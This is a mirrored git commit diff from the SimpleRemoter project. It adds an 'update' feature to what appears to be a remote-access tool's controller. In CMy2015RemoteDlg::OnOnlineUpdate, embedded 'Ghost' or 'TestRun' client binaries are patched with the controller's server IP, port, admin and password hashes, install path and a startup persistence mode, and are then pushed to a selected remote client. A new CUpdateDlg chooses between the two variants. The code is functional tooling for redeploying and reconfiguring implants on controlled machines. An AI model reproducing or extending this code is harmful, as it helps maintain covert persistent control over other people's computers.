mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 07:14:15 +08:00
Improve: Add client update logic for client type EXE
This commit is contained in:
@@ -514,14 +514,14 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
|
||||
SAFE_DELETE(m_iniFile);
|
||||
|
||||
Mprintf("[InitInstance] 主控程序退出运行。\n");
|
||||
Sleep(500);
|
||||
|
||||
// 只有在代理模式退出时才停止服务
|
||||
if (IsAgentMode()) {
|
||||
ServerService_Stop();
|
||||
Mprintf("[InitInstance] 主控程序为代理模式,停止服务。\n");
|
||||
ServerService_Stop();
|
||||
}
|
||||
|
||||
Mprintf("[InitInstance] 主控程序退出运行。\n");
|
||||
Sleep(1000);
|
||||
|
||||
return CWinApp::ExitInstance();
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -48,6 +48,7 @@
|
||||
#include <ServerServiceWrapper.h>
|
||||
#include "CDlgFileSend.h"
|
||||
#include "CClientListDlg.h"
|
||||
#include "CUpdateDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -1781,17 +1782,72 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
{
|
||||
context* ContextObject = nullptr;
|
||||
EnterCriticalSection(&m_cs);
|
||||
int n = m_CList_Online.GetSelectedCount();
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
if (Pos) {
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (n != 1 || !ContextObject) {
|
||||
MessageBox(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
|
||||
_T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
PBYTE buffer = nullptr;
|
||||
ULONGLONG fileSize = 0;
|
||||
CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString();
|
||||
if (clientType == "EXE") {
|
||||
CUpdateDlg dlg(this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return;
|
||||
DWORD dwFileSize = 0;
|
||||
BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
|
||||
std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
|
||||
std::string stem = path.stem().string();
|
||||
std::string dirName = path.parent_path().filename().string();
|
||||
BYTE* szBuffer = ReadResource(dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) :
|
||||
(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize);
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN };
|
||||
int iOffset = MemoryFind((char*)szBuffer, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset == -1) {
|
||||
SAFE_DELETE(szBuffer);
|
||||
return;
|
||||
}
|
||||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(szBuffer + iOffset);
|
||||
dst->SetAdminId(GetMasterHash().c_str());
|
||||
memcpy(dst->szFlag, GetMasterId().c_str(), 16);
|
||||
strcpy_s(dst->szServerIP, THIS_CFG.GetStr("settings", "master", "127.0.0.1").c_str());
|
||||
strcpy_s(dst->szPort, THIS_CFG.GetStr("settings", "port", "6543").c_str());
|
||||
dst->Encrypt();
|
||||
dst->iType = dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL;
|
||||
dst->iStartup = dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc;
|
||||
strcpy_s(dst->szBuildDate, DLL_VERSION);
|
||||
memcpy(dst->pwdHash, GetPwdHash().c_str(), 64);
|
||||
strcpy_s(dst->installDir, dirName.c_str());
|
||||
strcpy_s(dst->installName, stem.c_str());
|
||||
|
||||
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
|
||||
ULONGLONG fileSize = buf->length(true) - 6;
|
||||
PBYTE buffer = new BYTE[fileSize + 9];
|
||||
if (buffer) {
|
||||
fileSize = dwFileSize;
|
||||
buffer = new BYTE[fileSize + 9];
|
||||
buffer[0] = COMMAND_UPDATE;
|
||||
memcpy(buffer + 1, &fileSize, 8);
|
||||
memcpy(buffer + 9, szBuffer, fileSize);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
else if (clientType == "DLL") {
|
||||
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
|
||||
fileSize = buf->length(true) - 6;
|
||||
buffer = new BYTE[fileSize + 9];
|
||||
buffer[0] = COMMAND_UPDATE;
|
||||
memcpy(buffer + 1, &fileSize, 8);
|
||||
memcpy(buffer + 9, buf->c_str() + 6, fileSize);
|
||||
}
|
||||
|
||||
if (buffer) {
|
||||
SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
|
||||
delete[] buffer;
|
||||
}
|
||||
|
||||
@@ -291,6 +291,7 @@
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CRcEditDlg.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="CUpdateDlg.h" />
|
||||
<ClInclude Include="CWalletDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
@@ -384,6 +385,7 @@
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CRcEditDlg.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="CUpdateDlg.cpp" />
|
||||
<ClCompile Include="CWalletDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
|
||||
@@ -65,6 +65,7 @@
|
||||
<ClCompile Include="..\..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\..\client\reg_startup.c" />
|
||||
<ClCompile Include="CClientListDlg.cpp" />
|
||||
<ClCompile Include="CUpdateDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -144,6 +145,7 @@
|
||||
<ClInclude Include="HostInfo.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="context.h" />
|
||||
<ClInclude Include="CUpdateDlg.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
|
||||
@@ -499,7 +499,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
if (m_sDownloadUrl.IsEmpty()) MessageBox(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示");
|
||||
}
|
||||
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
|
||||
checked ? "\r\n提示: 载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
||||
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
||||
}
|
||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||||
if (r) {
|
||||
|
||||
48
server/2015Remote/CUpdateDlg.cpp
Normal file
48
server/2015Remote/CUpdateDlg.cpp
Normal file
@@ -0,0 +1,48 @@
|
||||
// CUpdateDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CUpdateDlg.h"
|
||||
#include "resource.h"
|
||||
|
||||
// CUpdateDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx)
|
||||
|
||||
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_UPDATE, pParent)
|
||||
, m_nSelected(0)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CUpdateDlg::~CUpdateDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect);
|
||||
DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialogEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CUpdateDlg 消息处理程序
|
||||
|
||||
BOOL CUpdateDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_ComboUpdateSelect.InsertString(0, _T("TestRun"));
|
||||
m_ComboUpdateSelect.InsertString(1, _T("Ghost"));
|
||||
m_ComboUpdateSelect.SetCurSel(1);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
28
server/2015Remote/CUpdateDlg.h
Normal file
28
server/2015Remote/CUpdateDlg.h
Normal file
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CUpdateDlg 对话框
|
||||
|
||||
class CUpdateDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CUpdateDlg)
|
||||
|
||||
public:
|
||||
CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CUpdateDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_UPDATE };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CComboBox m_ComboUpdateSelect;
|
||||
virtual BOOL OnInitDialog();
|
||||
int m_nSelected;
|
||||
};
|
||||
@@ -198,6 +198,8 @@
|
||||
#define IDR_SCLOADER_X86_OLD 322
|
||||
#define IDR_SCLOADER_X64_OLD 323
|
||||
#define IDD_DIALOG_CLIENTLIST 324
|
||||
#define IDD_DIALOG7 326
|
||||
#define IDD_DIALOG_UPDATE 326
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -402,6 +404,7 @@
|
||||
#define IDC_COMBO_VIDEO_WALL 2195
|
||||
#define IDC_COMBO_BINDING 2195
|
||||
#define IDC_COMBO_BIND 2195
|
||||
#define IDC_COMBO_UPDATE_SELECT 2195
|
||||
#define IDC_EDIT_WALLET_BTC 2196
|
||||
#define IDC_EDIT_WALLET_ERC20 2197
|
||||
#define IDC_EDIT_EXE_FILE 2197
|
||||
@@ -643,7 +646,7 @@
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 326
|
||||
#define _APS_NEXT_RESOURCE_VALUE 328
|
||||
#define _APS_NEXT_COMMAND_VALUE 33007
|
||||
#define _APS_NEXT_CONTROL_VALUE 2228
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
|
||||
Reference in New Issue
Block a user